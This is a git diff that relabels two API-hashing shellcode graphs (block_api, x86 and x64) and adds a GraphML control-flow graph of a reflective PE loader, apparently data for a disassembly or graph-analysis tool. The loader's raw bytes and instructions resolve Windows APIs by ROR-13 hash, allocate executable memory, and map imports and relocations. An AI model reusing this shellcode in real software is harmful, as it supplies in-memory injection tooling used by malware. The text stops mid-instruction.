diff --git a/data/shellcode/block_api.x64.graphml b/data/shellcode/block_api.x64.graphml index a10c598ec166c..957881914a54c 100644 --- a/data/shellcode/block_api.x64.graphml +++ b/data/shellcode/block_api.x64.graphml @@ -4,13 +4,14 @@ + 0x1000 - block + instructions-graph 0x1000 - block + instructions 0x1000 instruction @@ -67,9 +68,12 @@ - + + + + @@ -77,10 +81,10 @@ 0x1017 - block + instructions-graph 0x1017 - block + instructions 0x1017 instruction @@ -103,10 +107,10 @@ 0x1026 - block + instructions-graph 0x1026 - block + instructions 0x1026 instruction @@ -132,16 +136,17 @@ jl 0x1030 + 0x102e - block + instructions-graph 0x102e - block + instructions 0x102e instruction @@ -152,10 +157,10 @@ 0x1030 - block + instructions-graph 0x1030 - block + instructions 0x1030 instruction @@ -180,10 +185,10 @@ 0x1039 - block + instructions-graph 0x1039 - block + instructions 0x1039 instruction @@ -226,9 +231,11 @@ 756f jne 0x10bd - - + + + + @@ -238,10 +245,10 @@ 0x104e - block + instructions-graph 0x104e - block + instructions 0x104e instruction @@ -266,10 +273,10 @@ 0x1059 - block + instructions-graph 0x1059 - block + instructions 0x1059 instruction @@ -303,15 +310,18 @@ + + + 0x1067 - block + instructions-graph 0x1067 - block + instructions 0x1067 instruction @@ -322,10 +332,10 @@ 0x1069 - block + instructions-graph 0x1069 - block + instructions 0x1069 instruction @@ -350,17 +360,17 @@ 448b4c2408 mov r9d, dword ptr [rsp + 8] - + 0x1078 - block + instructions-graph 0x1078 - block + instructions 0x1078 instruction @@ -410,10 +420,10 @@ 0x1087 - block + instructions-graph 0x1087 - block + instructions 0x1087 instruction @@ -431,10 +441,10 @@ 0x108c - block + instructions-graph 0x108c - block + instructions 0x108c instruction @@ -549,29 +559,38 @@ ffe0 jmp rax - - + + + + + + - - + - + - + + + + + - + + + @@ -585,10 +604,10 @@ 0x10bc - block + instructions-graph 0x10bc - block + instructions 0x10bc instruction @@ -599,10 +618,10 @@ 0x10bd - block + instructions-graph 0x10bd - block + instructions 0x10bd instruction diff --git a/data/shellcode/block_api.x86.graphml b/data/shellcode/block_api.x86.graphml index 363ee7f9eb97a..286a2114c6fe5 100644 --- a/data/shellcode/block_api.x86.graphml +++ b/data/shellcode/block_api.x86.graphml @@ -4,13 +4,14 @@ + 0x1000 - block + instructions-graph 0x1000 - block + instructions 0x1000 instruction @@ -47,8 +48,11 @@ 8b5214 mov edx, dword ptr [edx + 0x14] - + + + + @@ -56,10 +60,10 @@ 0x100f - block + instructions-graph 0x100f - block + instructions 0x100f instruction @@ -82,10 +86,10 @@ 0x101b - block + instructions-graph 0x101b - block + instructions 0x101b instruction @@ -111,16 +115,17 @@ jl 0x1024 + 0x1022 - block + instructions-graph 0x1022 - block + instructions 0x1022 instruction @@ -131,10 +136,10 @@ 0x1024 - block + instructions-graph 0x1024 - block + instructions 0x1024 instruction @@ -166,10 +171,10 @@ 0x102c - block + instructions-graph 0x102c - block + instructions 0x102c instruction @@ -220,21 +225,24 @@ - + + + + 0x103d - block + instructions-graph 0x103d - block + instructions 0x103d instruction @@ -268,15 +276,18 @@ + + + 0x1048 - block + instructions-graph 0x1048 - block + instructions 0x1048 instruction @@ -294,10 +305,10 @@ 0x104c - block + instructions-graph 0x104c - block + instructions 0x104c instruction @@ -322,17 +333,17 @@ 8b7df8 mov edi, dword ptr [ebp - 8] - + 0x1055 - block + instructions-graph 0x1055 - block + instructions 0x1055 instruction @@ -381,10 +392,10 @@ 0x1061 - block + instructions-graph 0x1061 - block + instructions 0x1061 instruction @@ -402,10 +413,10 @@ 0x1066 - block + instructions-graph 0x1066 - block + instructions 0x1066 instruction @@ -502,33 +513,41 @@ ffe0 jmp eax - + - + + + + + - - + + - - + + + + + + - - + + @@ -538,10 +557,10 @@ 0x1086 - block + instructions-graph 0x1086 - block + instructions 0x1086 instruction @@ -552,10 +571,10 @@ 0x1087 - block + instructions-graph 0x1087 - block + instructions 0x1087 instruction diff --git a/data/shellcode/reflective_loader.x64.graphml b/data/shellcode/reflective_loader.x64.graphml new file mode 100644 index 0000000000000..576b01ad8d1ad --- /dev/null +++ b/data/shellcode/reflective_loader.x64.graphml @@ -0,0 +1,3758 @@ + + + + + + + + + + 0x1000 + instructions-graph + + 0x1000 + instructions + + 0x1000 + instruction + 55 + push rbp + + + 0x1001 + instruction + 4889e5 + mov rbp, rsp + + + 0x1004 + instruction + 4881eca0000000 + sub rsp, 0xa0 + + + 0x100b + instruction + 4883e4f0 + and rsp, 0xfffffffffffffff0 + + + 0x100f + instruction + 53 + push rbx + + + 0x1010 + instruction + 56 + push rsi + + + 0x1011 + instruction + 57 + push rdi + + + 0x1012 + instruction + 4154 + push r12 + + + 0x1014 + instruction + 4155 + push r13 + + + 0x1016 + instruction + 4156 + push r14 + + + 0x1018 + instruction + 4157 + push r15 + + + 0x101a + instruction + 4831c0 + xor rax, rax + + + 0x101d + instruction + 488945f8 + mov qword ptr [rbp - 8], rax + + + 0x1021 + instruction + 488945f0 + mov qword ptr [rbp - 0x10], rax + + + 0x1025 + instruction + 488945e8 + mov qword ptr [rbp - 0x18], rax + + + 0x1029 + instruction + 488945e0 + mov qword ptr [rbp - 0x20], rax + + + 0x102d + instruction + 48898568ffffff + mov qword ptr [rbp - 0x98], rax + + + 0x1034 + instruction + 4831c9 + xor rcx, rcx + + + 0x1037 + instruction + 4885c9 + test rcx, rcx + + + 0x103a + instruction + 753b + jne 0x1077 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x103c + instructions-graph + + 0x103c + instructions + + 0x103c + instruction + e800000000 + call 0x1041 + + + + + 0x1041 + instructions-graph + + 0x1041 + instructions + + 0x1041 + instruction + 59 + pop rcx + + + 0x1042 + instruction + 4881e100f0ffff + and rcx, 0xfffffffffffff000 + + + + + + 0x1049 + instructions-graph + + 0x1049 + instructions + + 0x1049 + instruction + 668b01 + mov ax, word ptr [rcx] + + + 0x104c + instruction + 663d4d5a + cmp ax, 0x5a4d + + + 0x1050 + instruction + 751c + jne 0x106e + + + + + + + 0x1052 + instructions-graph + + 0x1052 + instructions + + 0x1052 + instruction + 8b413c + mov eax, dword ptr [rcx + 0x3c] + + + 0x1055 + instruction + 83f840 + cmp eax, 0x40 + + + 0x1058 + instruction + 7214 + jb 0x106e + + + + + + + 0x105a + instructions-graph + + 0x105a + instructions + + 0x105a + instruction + 3d00040000 + cmp eax, 0x400 + + + 0x105f + instruction + 730d + jae 0x106e + + + + + + 0x1061 + instructions-graph + + 0x1061 + instructions + + 0x1061 + instruction + 488d1401 + lea rdx, [rcx + rax] + + + 0x1065 + instruction + 8b02 + mov eax, dword ptr [rdx] + + + 0x1067 + instruction + 3d50450000 + cmp eax, 0x4550 + + + 0x106c + instruction + 7409 + je 0x1077 + + + + + + + + 0x106e + instructions-graph + + 0x106e + instructions + + 0x106e + instruction + 4881e900100000 + sub rcx, 0x1000 + + + 0x1075 + instruction + ebd2 + jmp 0x1049 + + + + + + 0x1077 + instructions-graph + + 0x1077 + instructions + + 0x1077 + instruction + 48894dd8 + mov qword ptr [rbp - 0x28], rcx + + + 0x107b + instruction + 65488b042560000000 + mov rax, qword ptr gs:[0x60] + + + 0x1084 + instruction + 488b4018 + mov rax, qword ptr [rax + 0x18] + + + 0x1088 + instruction + 488b4020 + mov rax, qword ptr [rax + 0x20] + + + + + + + + + + 0x108c + instructions-graph + + 0x108c + instructions + + 0x108c + instruction + 4885c0 + test rax, rax + + + 0x108f + instruction + 0f840a020000 + je 0x129f + + + + + + 0x1095 + instructions-graph + + 0x1095 + instructions + + 0x1095 + instruction + 488945a0 + mov qword ptr [rbp - 0x60], rax + + + 0x1099 + instruction + 480fb74848 + movzx rcx, word ptr [rax + 0x48] + + + 0x109e + instruction + 4885c9 + test rcx, rcx + + + 0x10a1 + instruction + 0f84ec010000 + je 0x1293 + + + + + + + + 0x10a7 + instructions-graph + + 0x10a7 + instructions + + 0x10a7 + instruction + 488b5050 + mov rdx, qword ptr [rax + 0x50] + + + 0x10ab + instruction + 41bc00000000 + mov r12d, 0 + + + + + 0x10b1 + instructions-graph + + 0x10b1 + instructions + + 0x10b1 + instruction + 41c1cc0d + ror r12d, 0xd + + + 0x10b5 + instruction + 0fb61a + movzx ebx, byte ptr [rdx] + + + 0x10b8 + instruction + 80fb61 + cmp bl, 0x61 + + + 0x10bb + instruction + 7203 + jb 0x10c0 + + + + + + + + + 0x10bd + instructions-graph + + 0x10bd + instructions + + 0x10bd + instruction + 80eb20 + sub bl, 0x20 + + + + + 0x10c0 + instructions-graph + + 0x10c0 + instructions + + 0x10c0 + instruction + 4101dc + add r12d, ebx + + + 0x10c3 + instruction + 48ffc2 + inc rdx + + + 0x10c6 + instruction + 48ffc9 + dec rcx + + + 0x10c9 + instruction + 75e6 + jne 0x10b1 + + + + + + + + 0x10cb + instructions-graph + + 0x10cb + instructions + + 0x10cb + instruction + 4181fc5bbc4a6a + cmp r12d, 0x6a4abc5b + + + 0x10d2 + instruction + 7412 + je 0x10e6 + + + + + + 0x10d4 + instructions-graph + + 0x10d4 + instructions + + 0x10d4 + instruction + 4181fc5d68fa3c + cmp r12d, 0x3cfa685d + + + 0x10db + instruction + 0f84ba000000 + je 0x119b + + + + + + 0x10e1 + instructions-graph + + 0x10e1 + instructions + + 0x10e1 + instruction + e9ad010000 + jmp 0x1293 + + + + + 0x10e6 + instructions-graph + + 0x10e6 + instructions + + 0x10e6 + instruction + 488b45a0 + mov rax, qword ptr [rbp - 0x60] + + + 0x10ea + instruction + 4c8b6820 + mov r13, qword ptr [rax + 0x20] + + + 0x10ee + instruction + 4c896dd0 + mov qword ptr [rbp - 0x30], r13 + + + 0x10f2 + instruction + e89a040000 + call 0x1591 + + + + + + + + + 0x10f7 + instructions-graph + + 0x10f7 + instructions + + 0x10f7 + instruction + 48c78578ffffff02000000 + mov qword ptr [rbp - 0x88], 2 + + + + + 0x1102 + instructions-graph + + 0x1102 + instructions + + 0x1102 + instruction + 488b4590 + mov rax, qword ptr [rbp - 0x70] + + + 0x1106 + instruction + 4885c0 + test rax, rax + + + 0x1109 + instruction + 0f8454010000 + je 0x1263 + + + + + + + 0x110f + instructions-graph + + 0x110f + instructions + + 0x110f + instruction + 48ffc8 + dec rax + + + 0x1112 + instruction + 48894590 + mov qword ptr [rbp - 0x70], rax + + + 0x1116 + instruction + 488b4db8 + mov rcx, qword ptr [rbp - 0x48] + + + 0x111a + instruction + 8b09 + mov ecx, dword ptr [rcx] + + + 0x111c + instruction + 48034dd0 + add rcx, qword ptr [rbp - 0x30] + + + 0x1120 + instruction + e8a4040000 + call 0x15c9 + + + + + + + + + + + + + + 0x1125 + instructions-graph + + 0x1125 + instructions + + 0x1125 + instruction + 48898570ffffff + mov qword ptr [rbp - 0x90], rax + + + 0x112c + instruction + 3d8e4e0eec + cmp eax, 0xec0e4e8e + + + 0x1131 + instruction + 7409 + je 0x113c + + + + + + + 0x1133 + instructions-graph + + 0x1133 + instructions + + 0x1133 + instruction + 3daafc0d7c + cmp eax, 0x7c0dfcaa + + + 0x1138 + instruction + 7402 + je 0x113c + + + + + + 0x113a + instructions-graph + + 0x113a + instructions + + 0x113a + instruction + eb50 + jmp 0x118c + + + + + 0x113c + instructions-graph + + 0x113c + instructions + + 0x113c + instruction + 4c8b75c0 + mov r14, qword ptr [rbp - 0x40] + + + 0x1140 + instruction + 458b761c + mov r14d, dword ptr [r14 + 0x1c] + + + 0x1144 + instruction + 4c0375d0 + add r14, qword ptr [rbp - 0x30] + + + 0x1148 + instruction + 4c8b7db0 + mov r15, qword ptr [rbp - 0x50] + + + 0x114c + instruction + 450fb73f + movzx r15d, word ptr [r15] + + + 0x1150 + instruction + 4f8d34be + lea r14, [r14 + r15*4] + + + 0x1154 + instruction + 458b36 + mov r14d, dword ptr [r14] + + + 0x1157 + instruction + 4c0375d0 + add r14, qword ptr [rbp - 0x30] + + + 0x115b + instruction + 8b8570ffffff + mov eax, dword ptr [rbp - 0x90] + + + 0x1161 + instruction + 3d8e4e0eec + cmp eax, 0xec0e4e8e + + + 0x1166 + instruction + 7506 + jne 0x116e + + + + + + + + + + + + + + + + 0x1168 + instructions-graph + + 0x1168 + instructions + + 0x1168 + instruction + 4c8975f8 + mov qword ptr [rbp - 8], r14 + + + 0x116c + instruction + eb04 + jmp 0x1172 + + + + + + 0x116e + instructions-graph + + 0x116e + instructions + + 0x116e + instruction + 4c8975f0 + mov qword ptr [rbp - 0x10], r14 + + + + + 0x1172 + instructions-graph + + 0x1172 + instructions + + 0x1172 + instruction + 488b8578ffffff + mov rax, qword ptr [rbp - 0x88] + + + 0x1179 + instruction + 48ffc8 + dec rax + + + 0x117c + instruction + 48898578ffffff + mov qword ptr [rbp - 0x88], rax + + + 0x1183 + instruction + 4885c0 + test rax, rax + + + 0x1186 + instruction + 0f84d7000000 + je 0x1263 + + + + + + + + + + + + 0x118c + instructions-graph + + 0x118c + instructions + + 0x118c + instruction + 488345b804 + add qword ptr [rbp - 0x48], 4 + + + 0x1191 + instruction + 488345b002 + add qword ptr [rbp - 0x50], 2 + + + 0x1196 + instruction + e967ffffff + jmp 0x1102 + + + + + + + 0x119b + instructions-graph + + 0x119b + instructions + + 0x119b + instruction + 488b45a0 + mov rax, qword ptr [rbp - 0x60] + + + 0x119f + instruction + 4c8b6820 + mov r13, qword ptr [rax + 0x20] + + + 0x11a3 + instruction + 4c896dd0 + mov qword ptr [rbp - 0x30], r13 + + + 0x11a7 + instruction + e8e5030000 + call 0x1591 + + + + + + + + + 0x11ac + instructions-graph + + 0x11ac + instructions + + 0x11ac + instruction + 48c78578ffffff03000000 + mov qword ptr [rbp - 0x88], 3 + + + + + 0x11b7 + instructions-graph + + 0x11b7 + instructions + + 0x11b7 + instruction + 488b4590 + mov rax, qword ptr [rbp - 0x70] + + + 0x11bb + instruction + 4885c0 + test rax, rax + + + 0x11be + instruction + 0f849f000000 + je 0x1263 + + + + + + + 0x11c4 + instructions-graph + + 0x11c4 + instructions + + 0x11c4 + instruction + 48ffc8 + dec rax + + + 0x11c7 + instruction + 48894590 + mov qword ptr [rbp - 0x70], rax + + + 0x11cb + instruction + 488b4db8 + mov rcx, qword ptr [rbp - 0x48] + + + 0x11cf + instruction + 8b09 + mov ecx, dword ptr [rcx] + + + 0x11d1 + instruction + 48034dd0 + add rcx, qword ptr [rbp - 0x30] + + + 0x11d5 + instruction + e8ef030000 + call 0x15c9 + + + + + + + + + + + + + + 0x11da + instructions-graph + + 0x11da + instructions + + 0x11da + instruction + 48898570ffffff + mov qword ptr [rbp - 0x90], rax + + + 0x11e1 + instruction + 3db80a4c53 + cmp eax, 0x534c0ab8 + + + 0x11e6 + instruction + 7410 + je 0x11f8 + + + + + + + 0x11e8 + instructions-graph + + 0x11e8 + instructions + + 0x11e8 + instruction + 3ded4a3dd3 + cmp eax, 0xd33d4aed + + + 0x11ed + instruction + 7409 + je 0x11f8 + + + + + + 0x11ef + instructions-graph + + 0x11ef + instructions + + 0x11ef + instruction + 3d894d3fbc + cmp eax, 0xbc3f4d89 + + + 0x11f4 + instruction + 7402 + je 0x11f8 + + + + + + 0x11f6 + instructions-graph + + 0x11f6 + instructions + + 0x11f6 + instruction + eb5c + jmp 0x1254 + + + + + 0x11f8 + instructions-graph + + 0x11f8 + instructions + + 0x11f8 + instruction + 4c8b75c0 + mov r14, qword ptr [rbp - 0x40] + + + 0x11fc + instruction + 458b761c + mov r14d, dword ptr [r14 + 0x1c] + + + 0x1200 + instruction + 4c0375d0 + add r14, qword ptr [rbp - 0x30] + + + 0x1204 + instruction + 4c8b7db0 + mov r15, qword ptr [rbp - 0x50] + + + 0x1208 + instruction + 450fb73f + movzx r15d, word ptr [r15] + + + 0x120c + instruction + 4f8d34be + lea r14, [r14 + r15*4] + + + 0x1210 + instruction + 458b36 + mov r14d, dword ptr [r14] + + + 0x1213 + instruction + 4c0375d0 + add r14, qword ptr [rbp - 0x30] + + + 0x1217 + instruction + 8b8570ffffff + mov eax, dword ptr [rbp - 0x90] + + + 0x121d + instruction + 3db80a4c53 + cmp eax, 0x534c0ab8 + + + 0x1222 + instruction + 7506 + jne 0x122a + + + + + + + + + + + + + + + + 0x1224 + instructions-graph + + 0x1224 + instructions + + 0x1224 + instruction + 4c8975e0 + mov qword ptr [rbp - 0x20], r14 + + + 0x1228 + instruction + eb14 + jmp 0x123e + + + + + + 0x122a + instructions-graph + + 0x122a + instructions + + 0x122a + instruction + 3ded4a3dd3 + cmp eax, 0xd33d4aed + + + 0x122f + instruction + 7506 + jne 0x1237 + + + + + + 0x1231 + instructions-graph + + 0x1231 + instructions + + 0x1231 + instruction + 4c8975e8 + mov qword ptr [rbp - 0x18], r14 + + + 0x1235 + instruction + eb07 + jmp 0x123e + + + + + + 0x1237 + instructions-graph + + 0x1237 + instructions + + 0x1237 + instruction + 4c89b568ffffff + mov qword ptr [rbp - 0x98], r14 + + + + + 0x123e + instructions-graph + + 0x123e + instructions + + 0x123e + instruction + 488b8578ffffff + mov rax, qword ptr [rbp - 0x88] + + + 0x1245 + instruction + 48ffc8 + dec rax + + + 0x1248 + instruction + 48898578ffffff + mov qword ptr [rbp - 0x88], rax + + + 0x124f + instruction + 4885c0 + test rax, rax + + + 0x1252 + instruction + 740f + je 0x1263 + + + + + + + + + + + + 0x1254 + instructions-graph + + 0x1254 + instructions + + 0x1254 + instruction + 488345b804 + add qword ptr [rbp - 0x48], 4 + + + 0x1259 + instruction + 488345b002 + add qword ptr [rbp - 0x50], 2 + + + 0x125e + instruction + e954ffffff + jmp 0x11b7 + + + + + + + 0x1263 + instructions-graph + + 0x1263 + instructions + + 0x1263 + instruction + 488b45f8 + mov rax, qword ptr [rbp - 8] + + + 0x1267 + instruction + 4885c0 + test rax, rax + + + 0x126a + instruction + 7427 + je 0x1293 + + + + + + + 0x126c + instructions-graph + + 0x126c + instructions + + 0x126c + instruction + 488b45f0 + mov rax, qword ptr [rbp - 0x10] + + + 0x1270 + instruction + 4885c0 + test rax, rax + + + 0x1273 + instruction + 741e + je 0x1293 + + + + + + + 0x1275 + instructions-graph + + 0x1275 + instructions + + 0x1275 + instruction + 488b45e8 + mov rax, qword ptr [rbp - 0x18] + + + 0x1279 + instruction + 4885c0 + test rax, rax + + + 0x127c + instruction + 7415 + je 0x1293 + + + + + + + 0x127e + instructions-graph + + 0x127e + instructions + + 0x127e + instruction + 488b8568ffffff + mov rax, qword ptr [rbp - 0x98] + + + 0x1285 + instruction + 4885c0 + test rax, rax + + + 0x1288 + instruction + 7409 + je 0x1293 + + + + + + + 0x128a + instructions-graph + + 0x128a + instructions + + 0x128a + instruction + 488b45e0 + mov rax, qword ptr [rbp - 0x20] + + + 0x128e + instruction + 4885c0 + test rax, rax + + + 0x1291 + instruction + 750c + jne 0x129f + + + + + + + 0x1293 + instructions-graph + + 0x1293 + instructions + + 0x1293 + instruction + 488b45a0 + mov rax, qword ptr [rbp - 0x60] + + + 0x1297 + instruction + 488b00 + mov rax, qword ptr [rax] + + + 0x129a + instruction + e9edfdffff + jmp 0x108c + + + + + + + 0x129f + instructions-graph + + 0x129f + instructions + + 0x129f + instruction + 488b4dd8 + mov rcx, qword ptr [rbp - 0x28] + + + 0x12a3 + instruction + 8b413c + mov eax, dword ptr [rcx + 0x3c] + + + 0x12a6 + instruction + 4c8d2401 + lea r12, [rcx + rax] + + + 0x12aa + instruction + 4c8965c8 + mov qword ptr [rbp - 0x38], r12 + + + 0x12ae + instruction + 4883ec48 + sub rsp, 0x48 + + + 0x12b2 + instruction + 4831c0 + xor rax, rax + + + 0x12b5 + instruction + 4889442438 + mov qword ptr [rsp + 0x38], rax + + + 0x12ba + instruction + 418b442450 + mov eax, dword ptr [r12 + 0x50] + + + 0x12bf + instruction + 4889442440 + mov qword ptr [rsp + 0x40], rax + + + 0x12c4 + instruction + 48c7c1ffffffff + mov rcx, 0xffffffffffffffff + + + 0x12cb + instruction + 488d542438 + lea rdx, [rsp + 0x38] + + + 0x12d0 + instruction + 4d31c0 + xor r8, r8 + + + 0x12d3 + instruction + 4c8d4c2440 + lea r9, [rsp + 0x40] + + + 0x12d8 + instruction + c744242000300000 + mov dword ptr [rsp + 0x20], 0x3000 + + + 0x12e0 + instruction + c744242840000000 + mov dword ptr [rsp + 0x28], 0x40 + + + 0x12e8 + instruction + 4c8b55e8 + mov r10, qword ptr [rbp - 0x18] + + + 0x12ec + instruction + e892020000 + call 0x1583 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x12f1 + instructions-graph + + 0x12f1 + instructions + + 0x12f1 + instruction + 488b442438 + mov rax, qword ptr [rsp + 0x38] + + + 0x12f6 + instruction + 4883c448 + add rsp, 0x48 + + + 0x12fa + instruction + 488945d0 + mov qword ptr [rbp - 0x30], rax + + + 0x12fe + instruction + 418b4c2454 + mov ecx, dword ptr [r12 + 0x54] + + + 0x1303 + instruction + 488b75d8 + mov rsi, qword ptr [rbp - 0x28] + + + 0x1307 + instruction + 488b7dd0 + mov rdi, qword ptr [rbp - 0x30] + + + + + + + + + 0x130b + instructions-graph + + 0x130b + instructions + + 0x130b + instruction + f3a4 + rep movsb byte ptr [rdi], byte ptr [rsi] + + + + + 0x130d + instructions-graph + + 0x130d + instructions + + 0x130d + instruction + 490fb7442414 + movzx rax, word ptr [r12 + 0x14] + + + 0x1313 + instruction + 4d8d6c0418 + lea r13, [r12 + rax + 0x18] + + + 0x1318 + instruction + 450fb77c2406 + movzx r15d, word ptr [r12 + 6] + + + + + + 0x131e + instructions-graph + + 0x131e + instructions + + 0x131e + instruction + 4585ff + test r15d, r15d + + + 0x1321 + instruction + 7425 + je 0x1348 + + + + + + 0x1323 + instructions-graph + + 0x1323 + instructions + + 0x1323 + instruction + 418b450c + mov eax, dword ptr [r13 + 0xc] + + + 0x1327 + instruction + 488b7dd0 + mov rdi, qword ptr [rbp - 0x30] + + + 0x132b + instruction + 4801c7 + add rdi, rax + + + 0x132e + instruction + 418b4514 + mov eax, dword ptr [r13 + 0x14] + + + 0x1332 + instruction + 488b75d8 + mov rsi, qword ptr [rbp - 0x28] + + + 0x1336 + instruction + 4801c6 + add rsi, rax + + + 0x1339 + instruction + 418b4d10 + mov ecx, dword ptr [r13 + 0x10] + + + + + + + + + + + + 0x133d + instructions-graph + + 0x133d + instructions + + 0x133d + instruction + f3a4 + rep movsb byte ptr [rdi], byte ptr [rsi] + + + + + 0x133f + instructions-graph + + 0x133f + instructions + + 0x133f + instruction + 4983c528 + add r13, 0x28 + + + 0x1343 + instruction + 41ffcf + dec r15d + + + 0x1346 + instruction + ebd6 + jmp 0x131e + + + + + + + 0x1348 + instructions-graph + + 0x1348 + instructions + + 0x1348 + instruction + 418b842490000000 + mov eax, dword ptr [r12 + 0x90] + + + 0x1350 + instruction + 85c0 + test eax, eax + + + 0x1352 + instruction + 0f84a5000000 + je 0x13fd + + + + + + + 0x1358 + instructions-graph + + 0x1358 + instructions + + 0x1358 + instruction + 4c8b75d0 + mov r14, qword ptr [rbp - 0x30] + + + 0x135c + instruction + 4901c6 + add r14, rax + + + + + + 0x135f + instructions-graph + + 0x135f + instructions + + 0x135f + instruction + 418b460c + mov eax, dword ptr [r14 + 0xc] + + + 0x1363 + instruction + 85c0 + test eax, eax + + + 0x1365 + instruction + 0f8492000000 + je 0x13fd + + + + + + + 0x136b + instructions-graph + + 0x136b + instructions + + 0x136b + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x136f + instruction + 4801c1 + add rcx, rax + + + 0x1372 + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x1376 + instruction + ff55f8 + call qword ptr [rbp - 8] + + + + + + + + + 0x1379 + instructions-graph + + 0x1379 + instructions + + 0x1379 + instruction + 4883c428 + add rsp, 0x28 + + + 0x137d + instruction + 4989c5 + mov r13, rax + + + 0x1380 + instruction + 418b06 + mov eax, dword ptr [r14] + + + 0x1383 + instruction + 85c0 + test eax, eax + + + 0x1385 + instruction + 7504 + jne 0x138b + + + + + + + + + 0x1387 + instructions-graph + + 0x1387 + instructions + + 0x1387 + instruction + 418b4610 + mov eax, dword ptr [r14 + 0x10] + + + + + 0x138b + instructions-graph + + 0x138b + instructions + + 0x138b + instruction + 488b75d0 + mov rsi, qword ptr [rbp - 0x30] + + + 0x138f + instruction + 4801c6 + add rsi, rax + + + 0x1392 + instruction + 418b4610 + mov eax, dword ptr [r14 + 0x10] + + + 0x1396 + instruction + 488b7dd0 + mov rdi, qword ptr [rbp - 0x30] + + + 0x139a + instruction + 4801c7 + add rdi, rax + + + + + + + + + + 0x139d + instructions-graph + + 0x139d + instructions + + 0x139d + instruction + 488b06 + mov rax, qword ptr [rsi] + + + 0x13a0 + instruction + 4885c0 + test rax, rax + + + 0x13a3 + instruction + 744f + je 0x13f4 + + + + + + + 0x13a5 + instructions-graph + + 0x13a5 + instructions + + 0x13a5 + instruction + 48b90000000000000080 + movabs rcx, 0x8000000000000000 + + + 0x13af + instruction + 4885c8 + test rax, rcx + + + 0x13b2 + instruction + 7521 + jne 0x13d5 + + + + + + + 0x13b4 + instructions-graph + + 0x13b4 + instructions + + 0x13b4 + instruction + 488b4dd0 + mov rcx, qword ptr [rbp - 0x30] + + + 0x13b8 + instruction + 4801c1 + add rcx, rax + + + 0x13bb + instruction + 4883c102 + add rcx, 2 + + + 0x13bf + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x13c3 + instruction + 4889ca + mov rdx, rcx + + + 0x13c6 + instruction + 4c89e9 + mov rcx, r13 + + + 0x13c9 + instruction + ff55f0 + call qword ptr [rbp - 0x10] + + + + + + + + + + + + + + 0x13cc + instructions-graph + + 0x13cc + instructions + + 0x13cc + instruction + 4883c428 + add rsp, 0x28 + + + 0x13d0 + instruction + 488907 + mov qword ptr [rdi], rax + + + 0x13d3 + instruction + eb15 + jmp 0x13ea + + + + + + + 0x13d5 + instructions-graph + + 0x13d5 + instructions + + 0x13d5 + instruction + 480fb716 + movzx rdx, word ptr [rsi] + + + 0x13d9 + instruction + 4883ec28 + sub rsp, 0x28 + + + 0x13dd + instruction + 4c89e9 + mov rcx, r13 + + + 0x13e0 + instruction + ff55f0 + call qword ptr [rbp - 0x10] + + + + + + + + 0x13e3 + instructions-graph + + 0x13e3 + instructions + + 0x13e3 + instruction + 4883c428 + add rsp, 0x28 + + + 0x13e7 + instruction + 488907 + mov qword ptr [rdi], rax + + + + + 0x13ea + instructions-graph + + 0x13ea + instructions + + 0x13ea + instruction + 4883c608 + add rsi, 8 + + + 0x13ee + instruction + 4883c708 + add rdi, 8 + + + 0x13f2 + instruction + eba9 + jmp 0x139d + + + + + + + 0x13f4 + instructions-graph + + 0x13f4 + instructions + + 0x13f4 + instruction + 4983c614 + add r14, 0x14 + + + 0x13f8 + instruction + e962ffffff + jmp 0x135f + + + + + + 0x13fd + instructions-graph + + 0x13fd + instructions + + 0x13fd + instruction + 488b45d0 + mov rax, qword ptr [rbp - 0x30] + + + 0x1401 + instruction + 498b4c2430 + mov rcx, qword ptr [r12 + 0x30] + + + 0x1406 + instruction + 4829c8 + sub rax, rcx + + + 0x1409 + instruction + 488945d8 + mov qword ptr [rbp - 0x28], rax + + + 0x140d + instruction + 418b8424b0000000 + mov eax, dword ptr [r12 + 0xb0] + + + 0x1415 + instruction + 85c0 + test eax, eax + + + 0x1417 + instruction + 7478 + je 0x1491 + + + + + + + + + + + + + + 0x1419 + instructions-graph + + 0x1419 + instructions + + 0x1419 + instruction + 418b8c24b4000000 + mov ecx, dword ptr [r12 + 0xb4] + + + 0x1421 + instruction + 85c9 + test ecx, ecx + + + 0x1423 + instruction + 746c + je 0x1491 + + + + + + + 0x1425 + instructions-graph + + 0x1425 + instructions + + 0x1425 + instruction + 4c8b75d0 + mov r14, qword ptr [rbp - 0x30] + + + 0x1429 + instruction + 4901c6 + add r14, rax + + + + + + 0x142c + instructions-graph + + 0x142c + instructions + + 0x142c + instruction + 418b4604 + mov eax, dword ptr [r14 + 4] + + + 0x1430 + instruction + 85c0 + test eax, eax + + + 0x1432 + instruction + 745d + je 0x1491 + + + + + + + 0x1434 + instructions-graph + + 0x1434 + instructions + + 0x1434 + instruction + 83e808 + sub eax, 8 + + + 0x1437 + instruction + d1e8 + shr eax, 1 + + + 0x1439 + instruction + 4189c7 + mov r15d, eax + + + 0x143c + instruction + 418b06 + mov eax, dword ptr [r14] + + + 0x143f + instruction + 4c8b6dd0 + mov r13, qword ptr [rbp - 0x30] + + + 0x1443 + instruction + 4901c5 + add r13, rax + + + 0x1446 + instruction + 4d8d6608 + lea r12, [r14 + 8] + + + + + + + + + + + + 0x144a + instructions-graph + + 0x144a + instructions + + 0x144a + instruction + 4585ff + test r15d, r15d + + + 0x144d + instruction + 7439 + je 0x1488 + + + + + + 0x144f + instructions-graph + + 0x144f + instructions + + 0x144f + instruction + 410fb70424 + movzx eax, word ptr [r12] + + + 0x1454 + instruction + 89c3 + mov ebx, eax + + + 0x1456 + instruction + c1eb0c + shr ebx, 0xc + + + 0x1459 + instruction + 25ff0f0000 + and eax, 0xfff + + + 0x145e + instruction + 83fb0a + cmp ebx, 0xa + + + 0x1461 + instruction + 7407 + je 0x146a + + + + + + + + + + + + + 0x1463 + instructions-graph + + 0x1463 + instructions + + 0x1463 + instruction + 83fb03 + cmp ebx, 3 + + + 0x1466 + instruction + 740d + je 0x1475 + + + + + + 0x1468 + instructions-graph + + 0x1468 + instructions + + 0x1468 + instruction + eb15 + jmp 0x147f + + + + + 0x146a + instructions-graph + + 0x146a + instructions + + 0x146a + instruction + 488b55d8 + mov rdx, qword ptr [rbp - 0x28] + + + 0x146e + instruction + 4901540500 + add qword ptr [r13 + rax], rdx + + + 0x1473 + instruction + eb0a + jmp 